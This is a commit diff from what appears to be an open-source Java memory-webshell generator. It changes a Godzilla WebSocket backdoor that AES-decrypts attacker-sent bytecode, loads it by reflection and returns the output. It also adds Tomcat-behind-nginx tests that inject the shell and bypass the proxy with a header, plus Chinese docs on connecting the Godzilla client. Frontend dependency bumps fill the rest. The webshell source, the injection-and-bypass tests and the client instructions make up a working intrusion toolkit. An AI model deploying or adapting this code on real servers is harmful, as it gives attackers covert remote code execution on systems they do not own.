refactor: change godzilla websocket base64 to raw
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/9
|
||||
*/
|
||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
|
||||
public static String key;
|
||||
private Session session;
|
||||
private static Class<?> payload;
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
public void onMessage(ByteBuffer byteBuffer) {
|
||||
byte[] result = null;
|
||||
try {
|
||||
byte[] data = base64Decode(message);
|
||||
byte[] data = byteBuffer.array();
|
||||
data = x(data, false);
|
||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||
payload = reflectionDefineClass(data);
|
||||
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
result = getErrorMessage(e).getBytes();
|
||||
}
|
||||
try {
|
||||
session.getBasicRemote().sendText(base64Encode(x(result, true)));
|
||||
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ServerType;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
@@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
@@ -63,6 +66,43 @@ public class Tomcat10WebSocketBypassNginxTest {
|
||||
assertTrue(response.contains("uid="));
|
||||
}
|
||||
|
||||
|
||||
@Test
|
||||
public void testGodzillaWs() {
|
||||
String url = getUrl();
|
||||
String server = ServerType.TOMCAT;
|
||||
String serverVersion = "Unknown";
|
||||
int targetJdkVersion = Opcodes.V1_8;
|
||||
String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET;
|
||||
String shellTool = ShellTool.Godzilla;
|
||||
Packers packer = Packers.Base64;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
|
||||
GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig();
|
||||
// direct connect ws will cause failed
|
||||
assertThrows(IllegalStateException.class, () -> {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
|
||||
.key(godzillaConfig.getKey()).build()) {
|
||||
godzillaManager.start();
|
||||
}
|
||||
}, "WebSocket connection is not open.");
|
||||
// connect by valve bypass will success
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
|
||||
.key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName()
|
||||
, godzillaConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("nginx", 80);
|
||||
int port = compose.getServicePort("nginx", 80);
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ServerType;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
@@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
@@ -70,4 +73,40 @@ public class Tomcat8WebSocketBypassNginxTest {
|
||||
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
|
||||
assertTrue(response.contains("uid="));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testGodzillaWs() {
|
||||
String url = getUrl();
|
||||
String server = ServerType.TOMCAT;
|
||||
String serverVersion = "Unknown";
|
||||
int targetJdkVersion = Opcodes.V1_8;
|
||||
String shellType = ShellType.BYPASS_NGINX_WEBSOCKET;
|
||||
String shellTool = ShellTool.Godzilla;
|
||||
Packers packer = Packers.Base64;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
|
||||
GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig();
|
||||
// direct connect ws will cause failed
|
||||
assertThrows(IllegalStateException.class, () -> {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
|
||||
.key(godzillaConfig.getKey()).build()) {
|
||||
godzillaManager.start();
|
||||
}
|
||||
}, "WebSocket connection is not open.");
|
||||
// connect by valve bypass will success
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
|
||||
.key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName()
|
||||
, godzillaConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,6 +6,7 @@ import org.java_websocket.handshake.ServerHandshake;
|
||||
|
||||
import java.net.URI;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.CountDownLatch;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicReference;
|
||||
@@ -22,6 +23,10 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
|
||||
super(serverUri);
|
||||
}
|
||||
|
||||
public BlockingJavaWebSocketClient(URI serverUri, Map<String, String> httpHeaders) {
|
||||
super(serverUri, httpHeaders);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onOpen(ServerHandshake handshake) {
|
||||
System.out.println("连接成功");
|
||||
@@ -133,6 +138,12 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
|
||||
return blockingJavaWebSocketClient.sendRequest(message);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message, Map<String, String> httpHeaders) {
|
||||
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint), httpHeaders);
|
||||
return blockingJavaWebSocketClient.sendRequest(message);
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
String uri = "ws://localhost:8082/app/fuck";
|
||||
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
|
||||
|
||||
@@ -17,6 +17,7 @@ import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.*;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -177,6 +178,7 @@ public class GodzillaManager implements Closeable {
|
||||
return client.newCall(builder.build()).execute();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public boolean start() {
|
||||
byte[] bytes = generateGodzilla();
|
||||
if (isHttp()) {
|
||||
@@ -189,19 +191,12 @@ public class GodzillaManager implements Closeable {
|
||||
return true;
|
||||
}
|
||||
System.out.println(response.body().string().trim());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
if (isWs()) {
|
||||
try {
|
||||
byte[] aes = aes(this.key, bytes, true);
|
||||
String base64String = Base64.encodeBase64String(aes);
|
||||
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
|
||||
return true;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
byte[] aes = aes(this.key, bytes, true);
|
||||
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -213,11 +208,9 @@ public class GodzillaManager implements Closeable {
|
||||
try (Response response = post(bytes)) {
|
||||
if (response.isSuccessful()) {
|
||||
ResponseBody body = response.body();
|
||||
if (body != null) {
|
||||
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
|
||||
System.out.println(resultFromRes);
|
||||
return "ok".equals(resultFromRes);
|
||||
}
|
||||
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
|
||||
System.out.println(resultFromRes);
|
||||
return "ok".equals(resultFromRes);
|
||||
}
|
||||
return false;
|
||||
} catch (IOException e) {
|
||||
@@ -228,10 +221,9 @@ public class GodzillaManager implements Closeable {
|
||||
|
||||
if (isWs()) {
|
||||
byte[] aes = aes(this.key, bytes, true);
|
||||
String base64String = Base64.encodeBase64String(aes);
|
||||
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
|
||||
if(StringUtils.isNoneBlank(response)){
|
||||
byte[] x = aes(key, Base64.decodeBase64(response), false);
|
||||
byte[] response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
|
||||
if (response != null) {
|
||||
byte[] x = aes(key, response, false);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
||||
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
|
||||
}
|
||||
|
||||
@@ -111,7 +111,11 @@ export function BasicInfo({
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.encryptor")}
|
||||
text="JAVA_AES_BASE64"
|
||||
text={
|
||||
generateResult?.shellConfig.shellType.includes("WebSocket")
|
||||
? "JAVA_WEBSOCKET_AES_RAW"
|
||||
: "JAVA_AES_BASE64"
|
||||
}
|
||||
/>
|
||||
<CopyableField
|
||||
label={t("shellToolConfig.godzilla.header")}
|
||||
|
||||
@@ -5,13 +5,13 @@
|
||||
"": {
|
||||
"name": "fumadocs",
|
||||
"dependencies": {
|
||||
"@base-ui/react": "^1.0.0",
|
||||
"@base-ui/react": "^1.1.0",
|
||||
"@hookform/resolvers": "^5.2.2",
|
||||
"@orama/orama": "^3.1.18",
|
||||
"@orama/stopwords": "^3.1.18",
|
||||
"@orama/tokenizers": "^3.1.18",
|
||||
"@react-router/node": "^7.12.0",
|
||||
"@tanstack/react-query": "^5.90.17",
|
||||
"@tanstack/react-query": "^5.90.18",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.26.2",
|
||||
@@ -39,7 +39,7 @@
|
||||
"@react-router/dev": "^7.12.0",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^25.0.8",
|
||||
"@types/node": "^25.0.9",
|
||||
"@types/react": "^19.2.8",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
@@ -114,9 +114,9 @@
|
||||
|
||||
"@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
|
||||
|
||||
"@base-ui/react": ["@base-ui/react@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@base-ui/utils": "0.2.3", "@floating-ui/react-dom": "^2.1.6", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "tabbable": "^6.3.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-4USBWz++DUSLTuIYpbYkSgy1F9ZmNG9S/lXvlUN6qMK0P0RlW+6eQmDUB4DgZ7HVvtXl4pvi4z5J2fv6Z3+9hg=="],
|
||||
"@base-ui/react": ["@base-ui/react@1.1.0", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@base-ui/utils": "0.2.4", "@floating-ui/react-dom": "^2.1.6", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "tabbable": "^6.4.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-ikcJRNj1mOiF2HZ5jQHrXoVoHcNHdBU5ejJljcBl+VTLoYXR6FidjTN86GjO6hyshi6TZFuNvv0dEOgaOFv6Lw=="],
|
||||
|
||||
"@base-ui/utils": ["@base-ui/[email protected].3", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-/CguQ2PDaOzeVOkllQR8nocJ0FFIDqsWIcURsVmm53QGo8NhFNpePjNlyPIB41luxfOqnG7PU0xicMEw3ls7XQ=="],
|
||||
"@base-ui/utils": ["@base-ui/[email protected].4", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-smZwpMhjO29v+jrZusBSc5T+IJ3vBb9cjIiBjtKcvWmRj9Z4DWGVR3efr1eHR56/bqY5a4qyY9ElkOY5ljo3ng=="],
|
||||
|
||||
"@biomejs/biome": ["@biomejs/[email protected]", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.11", "@biomejs/cli-darwin-x64": "2.3.11", "@biomejs/cli-linux-arm64": "2.3.11", "@biomejs/cli-linux-arm64-musl": "2.3.11", "@biomejs/cli-linux-x64": "2.3.11", "@biomejs/cli-linux-x64-musl": "2.3.11", "@biomejs/cli-win32-arm64": "2.3.11", "@biomejs/cli-win32-x64": "2.3.11" }, "bin": { "biome": "bin/biome" } }, "sha512-/zt+6qazBWguPG6+eWmiELqO+9jRsMZ/DBU3lfuU2ngtIQYzymocHhKiZRyrbra4aCOoyTg/BmY+6WH5mv9xmQ=="],
|
||||
|
||||
@@ -424,11 +424,11 @@
|
||||
|
||||
"@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
|
||||
|
||||
"@tanstack/query-core": ["@tanstack/[email protected]7", "", {}, "sha512-hDww+RyyYhjhUfoYQ4es6pbgxY7LNiPWxt4l1nJqhByjndxJ7HIjDxTBtfvMr5HwjYavMrd+ids5g4Rfev3lVQ=="],
|
||||
"@tanstack/query-core": ["@tanstack/[email protected]8", "", {}, "sha512-rbGx6bHgPNVzutP7BEr+53UPKohpckqlMAad+To9UxTbeaQ+kC/1SDRj+QzkwbQ7qhLT/1IKp34yS6thda6fzA=="],
|
||||
|
||||
"@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
|
||||
|
||||
"@tanstack/react-query": ["@tanstack/[email protected]7", "", { "dependencies": { "@tanstack/query-core": "5.90.17" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-PGc2u9KLwohDUSchjW9MZqeDQJfJDON7y4W7REdNBgiFKxQy+Pf7eGjiFWEj5xPqKzAeHYdAb62IWI1a9UJyGQ=="],
|
||||
"@tanstack/react-query": ["@tanstack/[email protected]8", "", { "dependencies": { "@tanstack/query-core": "5.90.18" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-KqNZX0C5IFz4639zR1ilnQ288tQdJrMNLtzmlzyJ14xauBkhtLEy3mPU/V4KiHsr41eL1ILZbDP36TB12lYfCQ=="],
|
||||
|
||||
"@types/d3-hierarchy": ["@types/[email protected]", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="],
|
||||
|
||||
@@ -446,7 +446,7 @@
|
||||
|
||||
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
||||
|
||||
"@types/node": ["@types/[email protected].8", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-powIePYMmC3ibL0UJ2i2s0WIbq6cg6UyVFQxSCpaPxxzAaziRfimGivjdF943sSGV6RADVbk0Nvlm5P/FB44Zg=="],
|
||||
"@types/node": ["@types/[email protected].9", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-/rpCXHlCWeqClNBwUhDcusJxXYDjZTyE8v5oTO7WbL8eij2nKhUeU89/6xgjU7N4/Vh3He0BtyhJdQbDyhiXAw=="],
|
||||
|
||||
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
||||
|
||||
@@ -1164,7 +1164,7 @@
|
||||
|
||||
"supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
|
||||
|
||||
"tabbable": ["tabbable@6.3.0", "", {}, "sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ=="],
|
||||
"tabbable": ["tabbable@6.4.0", "", {}, "sha512-05PUHKSNE8ou2dwIxTngl4EzcnsCDZGJ/iCLtDflR/SHB/ny14rXc+qU5P4mG9JkusiV7EivzY9Mhm55AzAvCg=="],
|
||||
|
||||
"tailwind-merge": ["[email protected]", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="],
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 98 KiB After Width: | Height: | Size: 272 KiB |
|
After Width: | Height: | Size: 238 KiB |
|
Before Width: | Height: | Size: 7.3 KiB After Width: | Height: | Size: 59 KiB |
|
Before Width: | Height: | Size: 8.2 KiB After Width: | Height: | Size: 81 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 116 KiB |
@@ -48,8 +48,6 @@ import { Step, Steps } from 'fumadocs-ui/components/steps';
|
||||
|
||||
## Godzilla WebSocket 马支持
|
||||
|
||||
> 不支持特战版 WebSocket 载荷,仅支持以下方式
|
||||
|
||||
<Steps>
|
||||
|
||||
<Step>
|
||||
@@ -73,9 +71,13 @@ import { Step, Steps } from 'fumadocs-ui/components/steps';
|
||||
### 使用客户端尝试连接
|
||||
|
||||
1. URL 需要注意使用 `ws://` 协议头,由于 ws 没有请求头那些东西,因此请求配置不需要额外配置请求头
|
||||
2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Base64 加密器即可尝试连接。
|
||||
2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Raw 加密器即可尝试连接。
|
||||
|
||||

|
||||
|
||||
如果你是用是哥斯拉特战版,需要注意请求地址不要写 path 只写 ip:host,密码处填 path 即 `/app/g-ws`
|
||||
|
||||

|
||||
</Step>
|
||||
|
||||
</Steps>
|
||||
@@ -12,13 +12,13 @@
|
||||
"format": "biome format --write"
|
||||
},
|
||||
"dependencies": {
|
||||
"@base-ui/react": "^1.0.0",
|
||||
"@base-ui/react": "^1.1.0",
|
||||
"@hookform/resolvers": "^5.2.2",
|
||||
"@orama/orama": "^3.1.18",
|
||||
"@orama/stopwords": "^3.1.18",
|
||||
"@orama/tokenizers": "^3.1.18",
|
||||
"@react-router/node": "^7.12.0",
|
||||
"@tanstack/react-query": "^5.90.17",
|
||||
"@tanstack/react-query": "^5.90.18",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.26.2",
|
||||
@@ -46,7 +46,7 @@
|
||||
"@react-router/dev": "^7.12.0",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^25.0.8",
|
||||
"@types/node": "^25.0.9",
|
||||
"@types/react": "^19.2.8",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
|
||||